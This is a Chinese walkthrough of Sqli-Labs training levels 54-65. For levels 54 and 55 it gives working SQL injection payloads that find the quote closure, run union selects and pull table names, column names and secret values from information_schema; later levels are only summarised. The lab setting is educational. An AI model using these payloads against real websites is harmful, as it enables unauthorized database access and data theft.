基于Sqli-Labs靶场的SQL注入-54~65关

2023-10-31

目录

Less54-十步以内获取密钥

爆破数据库名

爆破表名

爆破列名

爆破字段值

Less55-十四步以内获取密钥

爆破数据库名

爆破表名

爆破列名

爆破字段值

Less56-十四步以内获取密钥

Less57-十四步以内获取密钥

Less58-五步以内获取密钥

Less59-五步以内获取密钥

Less60-五步以内获取密钥

Less61-五步以内获取密钥

Less62-130步以内获取密钥

Less63-130步以内获取密钥

Less64-130步以内获取密钥

Less65-130步以内获取密钥

总结

 


Less54-十步以内获取密钥


        首先我们进入54关:

        可以看到这一关让我们在十步之内在系统给我们的数据库的表中找到密钥。也就是说,我们只有十次注入的机会,这十次中,我们要完成:找到闭合方式、爆破数据库、爆破数据库中的表、爆破表中的列、爆破列中的字段值、在字段值中找到密钥,最终通关。而且每一次失败后都所有数据都会重置。那我们就开始爆破吧。

        首先寻找闭合方式,输入语句:

?id=1' and '1'='1

        这种测试方法比较快,如果闭合方式找对了就会回显信息,如果不对直接把单引号换成其他闭合符号就可以。这样去测试闭合方式比较节省步骤。

        页面回显:

        可以看到回显出了数据,说明闭合方式就是单引号。接下来测试数据库列数以及显示位,输入语句:

?id=0' union select 1,2,3 --+

        测试的时候直接使用 Union联合语句进行测试,这种方法可以同时测试列数和显示位,很好用。

        页面回显:

        可以看到回显出了显示位。

爆破数据库名


        输入语句:

?id=0' union select 1,database(),3 --+

        页面回显:

        可以看到爆破出了当前数据库的名字,这里我们需要记一下数据库的名字,因为后面的爆破表名的时候要用。

爆破表名


        输入语句:

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

        页面回显:

        可以看到成功爆破了表的名字,这里把表名记下。

爆破列名


        输入语句:

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ql73xm21z3' --+

        页面回显:

        可以看到成功爆破了列名。 

爆破字段值


        这里我选择有 Secret字样的表进行爆破,输入语句:

?id=0' union select 1,group_concat(secret_Z53V),3 from ql73xm21z3 --+ 

        页面回显:

        可以看到回显了字段值,我们尝试把其输入进入看看能不能成功进入,输入后页面回显:

        通关成功。 

Less55-十四步以内获取密钥


        首先进入55关:

        可以看到这一关和54关差不多,让我们在14步内完成以下操作:找到闭合方式、爆破数据库、爆破数据库中的表、爆破表中的列、爆破列中的字段值、在字段值中找到密钥。

        那么我们就开始爆破吧,首先输入语句寻找闭合方式:

?id=1' and '1'='1

        页面回显:
         可以看到页面不正常回显,说明闭合方式不是单引号,我们测试以下双引号,输入语句:

?id=1" and "1"="1

        页面回显:

        可以看到闭合方式也不是双引号,那就有可能是单引号加括号这种类型的,输入语句测试:

?id=1') and ('1')=('1

        页面回显:

        可以看到闭合方式也不是单引号加括号,那就试试是不是整型,输入语句测试:

?id=1 and 1=1

        页面回显:

        可以看到页面正常回显了,说明闭合方式就可能是整型,我们输入语句进一步测试一下:

?id=0 union select 1,2,3 --+

        页面回显:
         页面并没有显示显示位,说明闭合方式就不是整型,上述尝试了很多之前见到的闭合方式都不是,那我们就试试只有括号的闭合方式,输入语句测试:

?id=0) union select 1,2,3 --+

        页面回显:

        可以看到页面成功回显了显示位,说明这一关的闭合方式就是单括号。

爆破数据库名


        输入语句:

?id=0) union select 1,database(),3 --+

        页面回显: 

        成功爆破数据库名字,这里记下数据库名,之后爆破表名的时候要用。

爆破表名


        输入语句:

?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

        页面回显:

        可以看到成功爆破了表名,这里记下表名。

爆破列名


        输入语句:

?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ts5mx55wd6' --+

        页面回显:

        可以看到成功爆破了列名。

爆破字段值


        这里我选择带有 Secret字样的表进行爆破,输入语句:

?id=0) union select 1,group_concat(secret_JRPN),3 from ts5mx55wd6 --+

        页面回显:

        可以看到成功爆破了字段值,我们将其输入进去看一下页面回显:

        通关成功。 

Less56-十四步以内获取密钥


        这一关只是闭合方式和54关不一样,闭合方式为 ') ,其他都一样,这里不再赘述。

Less57-十四步以内获取密钥


        这一关只是闭合方式和54关不一样,闭合方式为双引号,其余操作都一样,这里不再赘述。

Less58-五步以内获取密钥


        这一关没有显示位,使用报错注入,闭合方式为单引号,这里不再赘述具体操作了。

Less59-五步以内获取密钥


        这一关闭合方式为整型,其余和58关一样使用报错注入,这里不再赘述具体操作。

Less60-五步以内获取密钥


        这一关闭合方式为 ") ,其余都和58关一样使用报错注入,这里不再赘述具体操作。

Less61-五步以内获取密钥


        这一关闭合方式为 ')) ,其余都和58关一样使用报错注入,这里不再赘述具体操作。

Less62-130步以内获取密钥


        这一关中没有报错回显,并且无论我们输入的对与错页面只会回显一种结果,所以这一关中我们使用时间延迟盲注,注入点为 ') 。具体操作我这里就不赘述了,时间延迟盲注已经在之前讲过了。大家有兴趣的可以去看一看之前的博客。

Less63-130步以内获取密钥


        这一关的闭合方式为单引号,其余和62关一样,这里不再赘述。

Less64-130步以内获取密钥


        这一关的闭合方式为 )) ,其余和62关一样,这里不再赘述。 

Less65-130步以内获取密钥


        这一关的闭合方式为 ") ,其余和62关一样,这里不再赘述。   

总结


        这一篇博客我主要讲解后续几关的通关方法,因为在实战中,可能你的注入机会是有限的,如果多次注入可能会封掉你的IP ,这几关就是锻炼你在有限的步骤中得到有用的信息。 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Sqli-Labs靶场的SQL注入-54~65关 的相关文章

  • Mysql - Mysql2::错误:字符串值不正确:

    所以我建造了一个刮刀并拉动一些物体 问题是有些是外语 它使 mysql 数据库有点崩溃 这是我得到的错误 知道我能用这个做什么吗 谢谢 Mysql2 错误 列的字符串值不正确 xC5 x8Dga 第 1 行的 描述 插入sammiches
  • 如果列有多个逗号分隔值,如何过滤 mysql 数据?

    我想问如果检查条件以查找具有多个逗号分隔值的列 如何过滤 mysql 数据 我给你举个例子 我有下表说 tbitems id item names item types item features 1 item 1 8 6 10 5 4 9
  • MySQL SELECT 输出同一行中每个 id 的下一个日期

    我查询的表结构如下 ID Date Before value After value 1 2014 04 25 Win Loss 1 2014 04 30 Loss Win 1 2014 08 18 Win Loss 1 2014 08 2
  • MySQL 与 PHP 的连接无法正常工作

    这是我的情况 我正在尝试使用 Apache 服务器上的 PHP 文件连接到 MySQL 数据库 现在 当我从终端运行 PHP 时 我的 PHP 可以连接到 MySQL 数据库 使用 php f file php 但是当我从网页执行它时 它只
  • MySQL InnoDB 查询性能

    我正在尝试优化一个简单的 sql 查询 该查询将多次运行大量数据 这是场景 MySQL 与 InnoDB 表 where 和 join 中使用的所有字段都已索引 表有 FK 我不需要查询的整个缓存 但每个表的缓存是可能的 表有更多的更新 插
  • Preg_replace() 删除除查询结尾之外的所有内容

    首先 为我糟糕的英语感到抱歉 我有这样的疑问 SELECT t1 SELECT COUNT FROM table a t2 WHERE t1 id t2 id c AND t2 status 1 AS aula FROM table c t
  • 通过连接从两个表中删除?

    我有两个表如下 tbl1 tbl2 id article id title image whole news tags author older datetime 其中 tbl1 id gt tbl2 article id 如何从两个表中删
  • mySQL MATCH 跨多个表

    我有一组 4 个表 我想对其进行搜索 每个都有全文索引 查询可以使用每个索引吗 CREATE TABLE categories id int 5 unsigned NOT NULL auto increment display order
  • MySQL 存储过程将值分配给 select 语句中的多个变量

    这是我的存储过程 我在为声明的变量赋值时遇到问题 当我执行它时 插入和更新命令工作正常 但声明变量的值保持为 0 但我在数据库中有一些价值 我怎样才能正确地做到这一点 BEGIN DECLARE PaidFee INT DEFAULT 0
  • PDO SQLSRV 和 PDO MySQL 在获取 int 或 float 时返回字符串

    当您获取时 PDO MS SQL Server 和 PDO MySQL 都会返回一个字符串数组 即使列的 SQL 类型本应是数字类型 例如 int 或 float 我设法解决了这个问题 但我想了解为什么它们一开始就这样设计 是不是因为PDO
  • 使 pdo::query 静态

    当我运行下面的代码时出现此错误 我通常使用 msql 函数 但我尝试使用 PDO 代替 怎么了 致命错误 第 14 行无法静态调用非静态方法 PDO query
  • Python:如何使用生成器来避免 sql 内存问题

    我有以下方法来访问 mysql 数据库 并且查询在服务器中执行 我无权更改有关增加内存的任何内容 我对生成器很陌生 并开始阅读更多有关它的内容 并认为我可以将其转换为使用生成器 def getUNames self globalUserQu
  • 如何在 Laravel 查询中使用多个 OR,AND 条件

    我需要 Laravel 查询帮助 我的自定义查询 返回正确结果 Select FROM events WHERE status 0 AND type public or type private 如何写这个查询Laravel Event w
  • 无法通过套接字“/var/lib/mysql/mysql.sock”连接到本地 MySQL 服务器 (2)

    当我尝试连接 mysql 时出现以下错误 Can t connect to local MySQL server through socket var lib mysql mysql sock 2 这个错误有解决办法吗 其背后的原因可能是什
  • Apache、PHP 和 MySQL 可移植吗?

    我可以在外部硬盘上运行 Apache PHP 和 MySQL 吗 我需要这个 因为我在不同的地方工作 计算机 有时我没有安装和配置所有使用的应用程序 当然可以 XAMPP http www apachefriends org en xamp
  • 忽略重复条目并在 EF Core 中的 DbContext.SaveChanges() 上提交成功条目

    我有一个 ASP Net Core 2 2 Web API 在我的一个控制器操作中 我向 MySQL 数据库表添加了一堆行 我使用的是 Pomelo 例如 dbContext AddRange entities dbContext Save
  • 在 MySQL 中使用 COUNT 时如何返回 0 而不是 null

    我使用此查询返回存储在 sTable 中的歌曲列表以及存储在 sTable2 中的总项目数 SQL queries Get data to display sQuery SELECT SQL CALC FOUND ROWS str repl
  • MySQL 按重复项从上到下排序

    我有一个lammer问题 因为我不是mysql专业人士 我有类似的字段 id color 1 red 2 green 3 yellow 4 green 5 green 6 red 我想按重复项进行分组 最常见的重复项先进行分组 所以应该这样
  • Mysql 创建定义器

    我创建了一个在 CentOS Web 服务器上运行的 Intranet Web 应用程序 该应用程序使用另一个本地服务器 始终是 CentOS 作为 MySQL 数据库 在数据库内部我创建了例程 这些例程总是这样开始 CREATE DEFI
  • MySQL 查询计算上个月

    我想计算上个月的订单总额 我收到了从当前日期获取当月数据的查询 SELECT SUM goods total AS Total Amount FROM orders WHERE order placed date gt date sub c

随机推荐

  • C语言 系统调用操作内核信号集

    使用内存映射可以拷贝文件 对原始文件进行内存映射 创建一个新文件 把新文件的数据拷贝映射到内存中 通过内存拷贝将第一个文件的内存映射区拷贝到第二个文件的内存映射区 释放资源 匿名映射 不需要文件实体来进行内存映射 只能用于有血缘关系的进程间
  • 【Python 1-14】Python手把手教程之——详解函数的高级用法

    作者 弗拉德 来源 弗拉德 公众号 fulade me 传递列表 你经常会发现 向函数传递列表很有用 这种列表包含的可能是名字 数字或更复杂的对象 如字典 将列表传递给函数后 函数就能直接访问其内容 下面使用函数来提高处理列表的效率 假设有
  • Filter过滤器的作用和工作原理

    对于一个web应用程序来说 过滤器是处于web容器内的一个组件 它会过滤特定请求资源请求信息和响应信息 一个请求来到时 web容器会判断是否有过滤器与该信息资源相关联 如果有则交给过滤器处理 然后再交给目标资源 响应的时候则以相反的顺序交给
  • ubuntu 查看USB对应的串口

    dmesg grep tty conner conner W65KJ1 KK1 dmesg grep tty 0 000000 console tty0 enabled 4 599129 usb 1 6 2 ch341 uart conve
  • FAT32下和NTFS下永久性删除文件的恢复

    FAT32下和NTFS下永久性删除文件的恢复 查看文件系统类型 FAT32下永久性删除文件的恢复 NTFS下永久性删除文件的恢复 注意事项 总结 查看文件系统类型 右键磁盘点击属性 就可以看到文件系统 如果没有FAT32文件系统 可以创建虚
  • 外包干三年,必废!

    点击上方 Java基基 选择 设为星标 做积极的人 而不是积极废人 源码精品专栏 原创 Java 2020 超神之路 很肝 中文详细注释的开源项目 RPC 框架 Dubbo 源码解析 网络应用框架 Netty 源码解析 消息中间件 Rock
  • Anaconda环境配置常见报错与解决方案汇总

    Anaconda指的是一个开源的Python发行版本 其包含了conda Python等180多个科学包及其依赖项 因为包含了大量的科学包 Anaconda 的下载文件比较大 约 531 MB 如果只需要某些包 或者需要节省带宽或存储空间
  • Windows 环境安装Scala详情

    为了进一步学习Spark 必须先学习Scala 编程语言 首先开始Scala 环境搭建 温馨提示 本文是基于Windows 11 安装Scala 2 13 1 版本 第一步 确保本机已经正确安装JDK1 8 环境 第二步 Scala 官网下
  • python里unexpected eof while parsing_[人人都会编程]Python代码报错看不懂?记住这20个报错提示单词轻松解决bug...

    1 syntaxerror invalid syntax语法错误 无效语法 1 syntax s nt ks 语法 句法 2 error er r 错误 3 invalid n v l d 无效 2 syntaxerror unexpect
  • ChatGPT爆火背后的真相:学编程已经成为必选项

    这一阵最热门的话题 莫过于人工智能新选手 ChatGPT 在推出后只用了两个月就积累了1亿用户 它的出现在科技圈掀起了一阵 惊涛骇浪 有人称ChatGPT的意义 堪比当年蒸汽机的出现 它足以爆发新一轮的 工业革命 它的出现 和我们每个人的生
  • 有关@string

    android label string app name gt 什么意思 有何作用 android label string app name gt 意思是应用的名称 还有一个是主活动的名称 label表示标签 表示引用 string a
  • 计算机视觉教程核心版(三)优化中篇反向传播展示

    目录 介绍 简单的表达式 模块化 反向传播中的模式 多个分支梯度相加 介绍 在本节中 我们将对反向传播 这是一种通过递归的应用链式法则计算梯度表达式的方法 进行直观而专业的理解 理解反向传播的过程以及其中的细节对我们理解 有效开发 设计和调
  • linux系统 nginx服务 多个vue项目配置-超详细

    linux系统 nginx服务 多个vue项目配置 超详细 linux系统 nginx服务 多个vue项目配置 超详 首先了解nginx路由配置注意事项 nginx安装 vue项目配置后缀 nginx安装配置 重启nginx服务 配置好后出
  • 市场火爆的NFT 应用场景分析与NFT开发技术搭建

    NFT 的应用 NFT 可以表征数字资产本身 也可用于表征某种特殊用途的凭证 房产证 护照 门票 优惠券等 因此它的使用场景是极其广泛的 当下主流的 NFT 应用为链上原生的游戏道具和艺术收藏 去中心化域名服务也是 NFT 的一个发展方向
  • Element-UI

    Element UI 组件 Tree 树形控件 用清晰的层级结构展示信息 可展开或折叠
  • 学习vue3系列computed

    响应式API中 computed 和之前的 computed 选项用法类似 对于任何复杂逻辑 我们都可能使用计算属性 比如翻转字符串
  • windows下secureCRT远程连接Linux错误

    描述 The server has disconnected with an error Server message reads A protocol error occurred The connection is closed by
  • MIPI D-PHY的初始化(MIPI Alliance & Xilinx)

    DPHY的基本介绍及使用已有很多文章 基本是基于 MIPI Alliance Specification for D PHY 的内容 学习时也以此为准 可参考CSDN上的文章 着重讲述MIPI D PHY的初始化部分 1 D PHY的功能及
  • 服务器2012系统磁盘压缩,windows10 部分文件夹自动勾选了“压缩内容以便节省磁盘空间”...

    您好 根据您的描述 在重启前能够正常取消压缩 但在重启后文件再次被压缩 说明系统功能和组件正常 很可能是某个应用影响了系统导致这个问题 请您仔细回忆下 您是在安装或更新了什么应用后出现该问题的 或使用了空间优化应用 请尝试将其关闭后 查看能
  • 基于Sqli-Labs靶场的SQL注入-54~65关

    目录 Less54 十步以内获取密钥 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less55 十四步以内获取密钥 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less56 十四步以内获取密钥 Less57 十四步以内获取密钥 Less